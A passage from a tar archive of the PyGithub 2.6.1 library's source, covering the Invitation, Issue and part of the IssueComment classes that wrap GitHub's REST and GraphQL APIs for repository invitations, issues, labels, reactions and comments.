self._repository_selection = self._makeStringAttribute(attributes["repository_selection"]) if "single_file" in attributes: # pragma no branch self._single_file = self._makeStringAttribute(attributes["single_file"]) if "single_file_paths" in attributes: # pragma no branch self._single_file_paths = self._makeListOfStringsAttribute(attributes["single_file_paths"]) if "token" in attributes: # pragma no branch self._token = self._makeStringAttribute(attributes["token"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/Invitation.py0000644000175100001660000001621114756101563016747 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Jannis Gebauer # # Copyright 2017 Simon # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import TYPE_CHECKING, Any import github.GithubObject import github.NamedUser import github.Repository from github.GithubObject import Attribute, CompletableGithubObject, NotSet if TYPE_CHECKING: from github.NamedUser import NamedUser from github.Repository import Repository class Invitation(CompletableGithubObject): """ This class represents repository invitations. The reference can be found here https://docs.github.com/en/rest/reference/repos#invitations The OpenAPI schema can be found at - /components/schemas/repository-invitation """ def _initAttributes(self) -> None: self._created_at: Attribute[datetime] = NotSet self._expired: Attribute[bool] = NotSet self._html_url: Attribute[str] = NotSet self._id: Attribute[int] = NotSet self._invitee: Attribute[NamedUser] = NotSet self._inviter: Attribute[NamedUser] = NotSet self._node_id: Attribute[str] = NotSet self._permissions: Attribute[str] = NotSet self._repository: Attribute[Repository] = NotSet self._url: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"id": self._id.value}) @property def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property def expired(self) -> bool: self._completeIfNotSet(self._expired) return self._expired.value @property def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property def invitee(self) -> NamedUser: self._completeIfNotSet(self._invitee) return self._invitee.value @property def inviter(self) -> NamedUser: self._completeIfNotSet(self._inviter) return self._inviter.value @property def node_id(self) -> str: self._completeIfNotSet(self._node_id) return self._node_id.value @property def permissions(self) -> str: self._completeIfNotSet(self._permissions) return self._permissions.value @property def repository(self) -> Repository: self._completeIfNotSet(self._repository) return self._repository.value @property def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "expired" in attributes: # pragma no branch self._expired = self._makeBoolAttribute(attributes["expired"]) if "html_url" in attributes: # pragma no branch self._html_url = self._makeStringAttribute(attributes["html_url"]) if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "invitee" in attributes: # pragma no branch self._invitee = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["invitee"]) if "inviter" in attributes: # pragma no branch self._inviter = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["inviter"]) if "node_id" in attributes: # pragma no branch self._node_id = self._makeStringAttribute(attributes["node_id"]) if "permissions" in attributes: # pragma no branch self._permissions = self._makeStringAttribute(attributes["permissions"]) if "repository" in attributes: # pragma no branch self._repository = self._makeClassAttribute(github.Repository.Repository, attributes["repository"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/Issue.py0000644000175100001660000007354014756101563015723 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Andrew Bettison # # Copyright 2012 Philip Kimmey # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 David Farr # # Copyright 2013 Stuart Glaser # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2015 Raja Reddy Karri # # Copyright 2016 @tmshn # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Matt Babineau # # Copyright 2016 Peter Buckley # # Copyright 2017 Nicolas Agustín Torres # # Copyright 2017 Simon # # Copyright 2018 Aaron L. Levine # # Copyright 2018 Shinichi TAMURA # # Copyright 2018 Steve Kowalik # # Copyright 2018 Wan Liuyang # # Copyright 2018 per1234 # # Copyright 2018 sfdye # # Copyright 2019 Filipe Laíns # # Copyright 2019 Nick Campbell # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Huan-Cheng Chang # # Copyright 2020 Huw Jones # # Copyright 2020 Steve Kowalik # # Copyright 2021 Mark Walker # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Nicolas Schweitzer # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2024 Malik Shahzad Muzaffar # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations import urllib.parse from datetime import datetime from typing import TYPE_CHECKING, Any import github.GithubApp import github.GithubObject import github.IssueComment import github.IssueEvent import github.IssuePullRequest import github.Label import github.Milestone import github.NamedUser import github.PullRequest import github.Reaction import github.Repository import github.TimelineEvent from github import Consts from github.GithubObject import ( Attribute, CompletableGithubObject, NotSet, Opt, is_defined, is_optional, is_optional_list, is_undefined, ) from github.PaginatedList import PaginatedList if TYPE_CHECKING: from github.GithubApp import GithubApp from github.IssueComment import IssueComment from github.IssueEvent import IssueEvent from github.IssuePullRequest import IssuePullRequest from github.Label import Label from github.Milestone import Milestone from github.NamedUser import NamedUser from github.PullRequest import PullRequest from github.Reaction import Reaction from github.Repository import Repository from github.TimelineEvent import TimelineEvent class Issue(CompletableGithubObject): """ This class represents Issues. The reference can be found here https://docs.github.com/en/rest/reference/issues The OpenAPI schema can be found at - /components/schemas/issue - /components/schemas/issue-search-result-item - /components/schemas/nullable-issue """ def _initAttributes(self) -> None: self._active_lock_reason: Attribute[str | None] = NotSet self._assignee: Attribute[NamedUser | None] = NotSet self._assignees: Attribute[list[NamedUser]] = NotSet self._author_association: Attribute[str] = NotSet self._body: Attribute[str] = NotSet self._body_html: Attribute[str] = NotSet self._body_text: Attribute[str] = NotSet self._closed_at: Attribute[datetime] = NotSet self._closed_by: Attribute[NamedUser] = NotSet self._comments: Attribute[int] = NotSet self._comments_url: Attribute[str] = NotSet self._created_at: Attribute[datetime] = NotSet self._draft: Attribute[bool] = NotSet self._events_url: Attribute[str] = NotSet self._html_url: Attribute[str] = NotSet self._id: Attribute[int] = NotSet self._labels: Attribute[list[Label]] = NotSet self._labels_url: Attribute[str] = NotSet self._locked: Attribute[bool] = NotSet self._milestone: Attribute[Milestone] = NotSet self._node_id: Attribute[str] = NotSet self._number: Attribute[int] = NotSet self._performed_via_github_app: Attribute[GithubApp] = NotSet self._pull_request: Attribute[IssuePullRequest] = NotSet self._reactions: Attribute[dict] = NotSet self._repository: Attribute[Repository] = NotSet self._repository_url: Attribute[str] = NotSet self._score: Attribute[float] = NotSet self._state: Attribute[str] = NotSet self._state_reason: Attribute[str | None] = NotSet self._text_matches: Attribute[dict[str, Any]] = NotSet self._timeline_url: Attribute[str] = NotSet self._title: Attribute[str] = NotSet self._updated_at: Attribute[datetime] = NotSet self._url: Attribute[str] = NotSet self._user: Attribute[NamedUser] = NotSet def __repr__(self) -> str: return self.get__repr__({"number": self._number.value, "title": self._title.value}) @property def _identity(self) -> int: return self.number @property def active_lock_reason(self) -> str | None: self._completeIfNotSet(self._active_lock_reason) return self._active_lock_reason.value @property def assignee(self) -> NamedUser | None: self._completeIfNotSet(self._assignee) return self._assignee.value @property def assignees(self) -> list[NamedUser]: self._completeIfNotSet(self._assignees) return self._assignees.value @property def author_association(self) -> str: self._completeIfNotSet(self._author_association) return self._author_association.value @property def body(self) -> str: self._completeIfNotSet(self._body) return self._body.value @property def body_html(self) -> str: self._completeIfNotSet(self._body_html) return self._body_html.value @property def body_text(self) -> str: self._completeIfNotSet(self._body_text) return self._body_text.value @property def closed_at(self) -> datetime: self._completeIfNotSet(self._closed_at) return self._closed_at.value @property def closed_by(self) -> NamedUser | None: self._completeIfNotSet(self._closed_by) return self._closed_by.value @property def comments(self) -> int: self._completeIfNotSet(self._comments) return self._comments.value @property def comments_url(self) -> str: self._completeIfNotSet(self._comments_url) return self._comments_url.value @property def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property def draft(self) -> bool: self._completeIfNotSet(self._draft) return self._draft.value @property def events_url(self) -> str: self._completeIfNotSet(self._events_url) return self._events_url.value @property def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property def labels(self) -> list[Label]: self._completeIfNotSet(self._labels) return self._labels.value @property def labels_url(self) -> str: self._completeIfNotSet(self._labels_url) return self._labels_url.value @property def locked(self) -> bool: self._completeIfNotSet(self._locked) return self._locked.value @property def milestone(self) -> Milestone: self._completeIfNotSet(self._milestone) return self._milestone.value @property def node_id(self) -> str: self._completeIfNotSet(self._node_id) return self._node_id.value @property def number(self) -> int: self._completeIfNotSet(self._number) return self._number.value @property def performed_via_github_app(self) -> GithubApp: self._completeIfNotSet(self._performed_via_github_app) return self._performed_via_github_app.value @property def pull_request(self) -> IssuePullRequest | None: self._completeIfNotSet(self._pull_request) return self._pull_request.value @property def reactions(self) -> dict: self._completeIfNotSet(self._reactions) return self._reactions.value @property def repository(self) -> Repository: self._completeIfNotSet(self._repository) if is_undefined(self._repository): # The repository was not set automatically, so it must be looked up by url. repo_url = "/".join(self.url.split("/")[:-2]) self._repository = github.GithubObject._ValuedAttribute( github.Repository.Repository(self._requester, self._headers, {"url": repo_url}, completed=False) ) return self._repository.value @property def repository_url(self) -> str: self._completeIfNotSet(self._repository_url) return self._repository_url.value @property def score(self) -> float: self._completeIfNotSet(self._score) return self._score.value @property def state(self) -> str: self._completeIfNotSet(self._state) return self._state.value @property def state_reason(self) -> str | None: self._completeIfNotSet(self._state_reason) return self._state_reason.value @property def text_matches(self) -> dict[str, Any]: self._completeIfNotSet(self._text_matches) return self._text_matches.value @property def timeline_url(self) -> str: self._completeIfNotSet(self._timeline_url) return self._timeline_url.value @property def title(self) -> str: self._completeIfNotSet(self._title) return self._title.value @property def updated_at(self) -> datetime: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property def user(self) -> NamedUser: self._completeIfNotSet(self._user) return self._user.value def as_pull_request(self) -> PullRequest: """ :calls: `GET /repos/{owner}/{repo}/pulls/{number} `_ """ headers, data = self._requester.requestJsonAndCheck("GET", "/pulls/".join(self.url.rsplit("/issues/", 1))) return github.PullRequest.PullRequest(self._requester, headers, data, completed=True) def add_to_assignees(self, *assignees: NamedUser | str) -> None: """ :calls: `POST /repos/{owner}/{repo}/issues/{number}/assignees `_ """ assert all(isinstance(element, (github.NamedUser.NamedUser, str)) for element in assignees), assignees post_parameters = { "assignees": [ assignee.login if isinstance(assignee, github.NamedUser.NamedUser) else assignee for assignee in assignees ] } headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/assignees", input=post_parameters) self._useAttributes(data) def add_to_labels(self, *labels: Label | str) -> None: """ :calls: `POST /repos/{owner}/{repo}/issues/{number}/labels `_ """ assert all(isinstance(element, (github.Label.Label, str)) for element in labels), labels post_parameters = [label.name if isinstance(label, github.Label.Label) else label for label in labels] headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/labels", input=post_parameters) def create_comment(self, body: str) -> IssueComment: """ :calls: `POST /repos/{owner}/{repo}/issues/{number}/comments `_ """ assert isinstance(body, str), body post_parameters = { "body": body, } headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/comments", input=post_parameters) return github.IssueComment.IssueComment(self._requester, headers, data, completed=True) def delete_labels(self) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/issues/{number}/labels `_ """ headers, data = self._requester.requestJsonAndCheck("DELETE", f"{self.url}/labels") def edit( self, title: Opt[str] = NotSet, body: Opt[str] = NotSet, assignee: Opt[str | NamedUser | None] = NotSet, state: Opt[str] = NotSet, milestone: Opt[Milestone | None] = NotSet, labels: Opt[list[str]] = NotSet, assignees: Opt[list[NamedUser | str]] = NotSet, state_reason: Opt[str] = NotSet, ) -> None: """ :calls: `PATCH /repos/{owner}/{repo}/issues/{number} `_ :param assignee: deprecated, use `assignees` instead. `assignee=None` means to remove current assignee. :param milestone: `milestone=None` means to remove current milestone. """ assert is_optional(title, str), title assert is_optional(body, str), body assert assignee is None or is_optional(assignee, (github.NamedUser.NamedUser, str)), assignee assert is_optional_list(assignees, (github.NamedUser.NamedUser, str)), assignees assert is_optional(state, str), state assert milestone is None or is_optional(milestone, github.Milestone.Milestone), milestone assert is_optional_list(labels, str), labels post_parameters = NotSet.remove_unset_items( { "title": title, "body": body, "state": state, "state_reason": state_reason, "labels": labels, "assignee": assignee._identity if isinstance(assignee, github.NamedUser.NamedUser) else (assignee or ""), "milestone": milestone._identity if isinstance(milestone, github.Milestone.Milestone) else (milestone or ""), } ) if is_defined(assignees): post_parameters["assignees"] = [ element._identity if isinstance(element, github.NamedUser.NamedUser) else element for element in assignees ] headers, data = self._requester.requestJsonAndCheck("PATCH", self.url, input=post_parameters) self._useAttributes(data) def lock(self, lock_reason: str) -> None: """ :calls: `PUT /repos/{owner}/{repo}/issues/{issue_number}/lock `_ """ assert isinstance(lock_reason, str), lock_reason put_parameters = {"lock_reason": lock_reason} headers, data = self._requester.requestJsonAndCheck( "PUT", f"{self.url}/lock", input=put_parameters, headers={"Accept": Consts.mediaTypeLockReasonPreview}, ) def unlock(self) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/issues/{issue_number}/lock `_ """ headers, data = self._requester.requestJsonAndCheck("DELETE", f"{self.url}/lock") def get_comment(self, id: int) -> IssueComment: """ :calls: `GET /repos/{owner}/{repo}/issues/comments/{id} `_ """ assert isinstance(id, int), id headers, data = self._requester.requestJsonAndCheck("GET", f"{self._parentUrl(self.url)}/comments/{id}") return github.IssueComment.IssueComment(self._requester, headers, data, completed=True) def get_comments(self, since: Opt[datetime] = NotSet) -> PaginatedList[IssueComment]: """ :calls: `GET /repos/{owner}/{repo}/issues/{number}/comments `_ """ url_parameters = {} if is_defined(since): assert isinstance(since, datetime), since url_parameters["since"] = since.strftime("%Y-%m-%dT%H:%M:%SZ") return PaginatedList( github.IssueComment.IssueComment, self._requester, f"{self.url}/comments", url_parameters, ) def get_events(self) -> PaginatedList[IssueEvent]: """ :calls: `GET /repos/{owner}/{repo}/issues/{issue_number}/events `_ """ return PaginatedList( github.IssueEvent.IssueEvent, self._requester, f"{self.url}/events", None, headers={"Accept": Consts.mediaTypeLockReasonPreview}, ) def get_labels(self) -> PaginatedList[Label]: """ :calls: `GET /repos/{owner}/{repo}/issues/{number}/labels `_ """ return PaginatedList(github.Label.Label, self._requester, f"{self.url}/labels", None) def remove_from_assignees(self, *assignees: NamedUser | str) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/issues/{number}/assignees `_ """ assert all(isinstance(element, (github.NamedUser.NamedUser, str)) for element in assignees), assignees post_parameters = { "assignees": [ assignee.login if isinstance(assignee, github.NamedUser.NamedUser) else assignee for assignee in assignees ] } headers, data = self._requester.requestJsonAndCheck("DELETE", f"{self.url}/assignees", input=post_parameters) self._useAttributes(data) def remove_from_labels(self, label: Label | str) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/issues/{number}/labels/{name} `_ """ assert isinstance(label, (github.Label.Label, str)), label if isinstance(label, github.Label.Label): label = label._identity else: label = urllib.parse.quote(label) headers, data = self._requester.requestJsonAndCheck("DELETE", f"{self.url}/labels/{label}") def set_labels(self, *labels: Label | str) -> None: """ :calls: `PUT /repos/{owner}/{repo}/issues/{number}/labels `_ """ assert all(isinstance(element, (github.Label.Label, str)) for element in labels), labels post_parameters = [label.name if isinstance(label, github.Label.Label) else label for label in labels] headers, data = self._requester.requestJsonAndCheck("PUT", f"{self.url}/labels", input=post_parameters) def get_reactions(self) -> PaginatedList[Reaction]: """ :calls: `GET /repos/{owner}/{repo}/issues/{number}/reactions `_ """ return PaginatedList( github.Reaction.Reaction, self._requester, f"{self.url}/reactions", None, headers={"Accept": Consts.mediaTypeReactionsPreview}, ) def create_reaction(self, reaction_type: str) -> Reaction: """ :calls: `POST /repos/{owner}/{repo}/issues/{number}/reactions `_ """ assert isinstance(reaction_type, str), reaction_type post_parameters = { "content": reaction_type, } headers, data = self._requester.requestJsonAndCheck( "POST", f"{self.url}/reactions", input=post_parameters, headers={"Accept": Consts.mediaTypeReactionsPreview}, ) return github.Reaction.Reaction(self._requester, headers, data, completed=True) def delete_reaction(self, reaction_id: int) -> bool: """ :calls: `DELETE /repos/{owner}/{repo}/issues/{issue_number}/reactions/{reaction_id} `_ """ assert isinstance(reaction_id, int), reaction_id status, _, _ = self._requester.requestJson( "DELETE", f"{self.url}/reactions/{reaction_id}", headers={"Accept": Consts.mediaTypeReactionsPreview}, ) return status == 204 def get_timeline(self) -> PaginatedList[TimelineEvent]: """ :calls: `GET /repos/{owner}/{repo}/issues/{number}/timeline `_ """ return PaginatedList( github.TimelineEvent.TimelineEvent, self._requester, f"{self.url}/timeline", None, headers={"Accept": Consts.issueTimelineEventsPreview}, ) def _useAttributes(self, attributes: dict[str, Any]) -> None: if "active_lock_reason" in attributes: # pragma no branch self._active_lock_reason = self._makeStringAttribute(attributes["active_lock_reason"]) if "assignee" in attributes: # pragma no branch self._assignee = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["assignee"]) if "assignees" in attributes: # pragma no branch self._assignees = self._makeListOfClassesAttribute(github.NamedUser.NamedUser, attributes["assignees"]) elif "assignee" in attributes: if attributes["assignee"] is not None: self._assignees = self._makeListOfClassesAttribute(github.NamedUser.NamedUser, [attributes["assignee"]]) else: self._assignees = self._makeListOfClassesAttribute(github.NamedUser.NamedUser, []) if "author_association" in attributes: # pragma no branch self._author_association = self._makeStringAttribute(attributes["author_association"]) if "body" in attributes: # pragma no branch self._body = self._makeStringAttribute(attributes["body"]) if "body_html" in attributes: # pragma no branch self._body_html = self._makeStringAttribute(attributes["body_html"]) if "body_text" in attributes: # pragma no branch self._body_text = self._makeStringAttribute(attributes["body_text"]) if "closed_at" in attributes: # pragma no branch self._closed_at = self._makeDatetimeAttribute(attributes["closed_at"]) if "closed_by" in attributes: # pragma no branch self._closed_by = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["closed_by"]) if "comments" in attributes: # pragma no branch self._comments = self._makeIntAttribute(attributes["comments"]) if "comments_url" in attributes: # pragma no branch self._comments_url = self._makeStringAttribute(attributes["comments_url"]) if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "draft" in attributes: # pragma no branch self._draft = self._makeBoolAttribute(attributes["draft"]) if "events_url" in attributes: # pragma no branch self._events_url = self._makeStringAttribute(attributes["events_url"]) if "html_url" in attributes: # pragma no branch self._html_url = self._makeStringAttribute(attributes["html_url"]) if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "labels" in attributes: # pragma no branch self._labels = self._makeListOfClassesAttribute(github.Label.Label, attributes["labels"]) if "labels_url" in attributes: # pragma no branch self._labels_url = self._makeStringAttribute(attributes["labels_url"]) if "locked" in attributes: # pragma no branch self._locked = self._makeBoolAttribute(attributes["locked"]) if "milestone" in attributes: # pragma no branch self._milestone = self._makeClassAttribute(github.Milestone.Milestone, attributes["milestone"]) if "node_id" in attributes: # pragma no branch self._node_id = self._makeStringAttribute(attributes["node_id"]) if "number" in attributes: # pragma no branch self._number = self._makeIntAttribute(attributes["number"]) if "performed_via_github_app" in attributes: # pragma no branch self._performed_via_github_app = self._makeClassAttribute( github.GithubApp.GithubApp, attributes["performed_via_github_app"] ) if "pull_request" in attributes: # pragma no branch self._pull_request = self._makeClassAttribute( github.IssuePullRequest.IssuePullRequest, attributes["pull_request"] ) if "reactions" in attributes: self._reactions = self._makeDictAttribute(attributes["reactions"]) if "repository" in attributes: # pragma no branch self._repository = self._makeClassAttribute(github.Repository.Repository, attributes["repository"]) if "repository_url" in attributes: # pragma no branch self._repository_url = self._makeStringAttribute(attributes["repository_url"]) if "score" in attributes: # pragma no branch self._score = self._makeFloatAttribute(attributes["score"]) if "state" in attributes: # pragma no branch self._state = self._makeStringAttribute(attributes["state"]) if "state_reason" in attributes: # pragma no branch self._state_reason = self._makeStringAttribute(attributes["state_reason"]) if "text_matches" in attributes: # pragma no branch self._text_matches = self._makeDictAttribute(attributes["text_matches"]) if "timeline_url" in attributes: # pragma no branch self._timeline_url = self._makeStringAttribute(attributes["timeline_url"]) if "title" in attributes: # pragma no branch self._title = self._makeStringAttribute(attributes["title"]) if "updated_at" in attributes: # pragma no branch self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) if "user" in attributes: # pragma no branch self._user = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["user"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/IssueComment.py0000644000175100001660000003152514756101563017243 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Michael Stead # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Nicolas Agustín Torres # # Copyright 2018 Wan Liuyang # # Copyright 2018 per1234 # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Huan-Cheng Chang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Mark Walker # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Malik Shahzad Muzaffar # # Copyright 2023 Trim21 # # Copyright 2024 Arash Kadkhodaei # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import TYPE_CHECKING, Any import github.GithubApp import github.GithubObject import github.NamedUser from github import Consts from github.GithubObject import Attribute, CompletableGithubObject, NotSet from github.PaginatedList import PaginatedList if TYPE_CHECKING: from github.GithubApp import GithubApp from github.NamedUser import NamedUser from github.Reaction import Reaction class IssueComment(CompletableGithubObject): """ This class represents IssueComments. The reference can be found here https://docs.github.com/en/rest/reference/issues#comments The OpenAPI schema can be found at - /components/schemas/issue-comment """ def _initAttributes(self) -> None: self._author_association: Attribute[str] = NotSet self._body: Attribute[str] = NotSet self._body_html: Attribute[str] = NotSet self._body_text: Attribute[str] = NotSet self._created_at: Attribute[datetime] = NotSet self._html_url: Attribute[str] = NotSet self._id: Attribute[int] = NotSet self._issue_url: Attribute[str] = NotSet self._node_id: Attribute[str] = NotSet self._performed_via_github_app: Attribute[GithubApp] = NotSet self._reactions: Attribute[dict] = NotSet self._updated_at: Attribute[datetime] = NotSet self._url: Attribute[str] = NotSet self._user: Attribute[NamedUser] = NotSet def __repr__(self) -> str: return self.get__repr__({"id": self._id.value, "user": self._user.value}) @property def author_association(self) -> str: self._completeIfNotSet(self._author_association) return self._author_association.value @property def body(self) -> str: self._completeIfNotSet(self._body) return self._body.value @property def body_html(self) -> str: self._completeIfNotSet(self._body_html) return self._body_html.value @property def body_text(self) -> str: self._completeIfNotSet(self._body_text) return self._body_text.value @property def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property def issue_url(self) -> str: self._completeIfNotSet(self._issue_url) return self._issue_url.value @property def node_id(self) -> str: self._completeIfNotSet(self._node_id) return self._node_id.value @property def performed_via_github_app(self) -> GithubApp: self._completeIfNotSet(self._performed_via_github_app) return self._performed_via_github_app.value @property def reactions(self) -> dict: self._completeIfNotSet(self._reactions) return self._reactions.value @property def updated_at(self) -> datetime: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property def user(self) -> NamedUser: self._completeIfNotSet(self._user) return self._user.value def delete(self) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/issues/comments/{id} `_ """ headers, data = self._requester.requestJsonAndCheck("DELETE", self.url) def edit(self, body: str) -> None: """ :calls: `PATCH /repos/{owner}/{repo}/issues/comments/{id} `_ """ assert isinstance(body, str), body post_parameters = { "body": body, } headers, data = self._requester.requestJsonAndCheck("PATCH", self.url, input=post_parameters) self._useAttributes(data) def get_reactions(self) -> PaginatedList[Reaction]: """ :calls: `GET /repos/{owner}/{repo}/issues/comments/{id}/reactions `_ """ return PaginatedList( github.Reaction.Reaction, self._requester, f"{self.url}/reactions", None, headers={"Accept": Consts.mediaTypeReactionsPreview}, ) def create_reaction(self, reaction_type: str) -> Reaction: """ :calls: `POST /repos/{owner}/{repo}/issues/comments/{id}/reactions `_ """ assert isinstance(reaction_type, str), reaction_type post_parameters = { "content": reaction_type, } headers, data = self._requester.requestJsonAndCheck( "POST", f"{self.url}/reactions", input=post_parameters, headers={"Accept": Consts.mediaTypeReactionsPreview}, ) return github.Reaction.Reaction(self._requester, headers, data, completed=True) def delete_reaction(self, reaction_id: int) -> bool: """ :calls: `DELETE /repos/{owner}/{repo}/issues/comments/{comment_id}/reactions/{reaction_id} `_ """ assert isinstance(reaction_id, int), reaction_id status, _, _ = self._requester.requestJson( "DELETE", f"{self.url}/reactions/{reaction_id}", headers={"Accept": Consts.mediaTypeReactionsPreview}, ) return status == 204 def minimize(self, reason: str = "OUTDATED") -> bool: """ :calls: `POST /graphql `_ with a mutation to minimize comment """ assert isinstance(reason, str), reason variables = { "subjectId": self.node_id, "classifier": reason, } _, data = self._requester.graphql_named_mutation( mutation_name="minimizeComment", mutation_input=NotSet.remove_unset_items(variables), output_schema="minimizedComment { isMinimized }", ) return data["minimizedComment"]["isMinimized"] is True def unminimize(self) -> bool: """ :calls: `POST /graphql `_ with a mutation to unminimize comment """ variables = { "subjectId": self.node_id, } _, data = self._requester.graphql_named_mutation( mutation_name="unminimizeComment", mutation_input=NotSet.remove_unset_items(variables), output_schema="unminimizedComment { isMinimized }", ) return data["unminimizedComment"]["isMinimized"] is False def _useAttributes(self, attributes: dict[str, Any]) -> None: if "author_association" in attributes: # pragma no branch self._author_association = self._makeStringAttribute(attributes["author_association"]) if "body" in attributes: # pragma no branch self._body = self._makeStringAttribute(attributes["body"]) if "body_html" in attributes: # pragma no branch self._body_html = self._makeStringAttribute(attributes["body_html"]) if "body_text" in attributes: # pragma no branch self._body_text = self._makeStringAttribute(attributes["body_text"]) if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "html_url" in attributes: # pragma no branch self._html_url = self._makeStringAttribute(attributes["html_url"]) if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "issue_url" in attributes: # pragma no branch self._issue_url = self._makeStringAttribute(attributes["issue_url"]) if "node_id" in attributes: # pragma no branch self._node_id = self._makeStringAttribute(attributes["node_id"]) if "performed_via_github_app" in attributes: # pragma no branch self._performed_via_github_app = 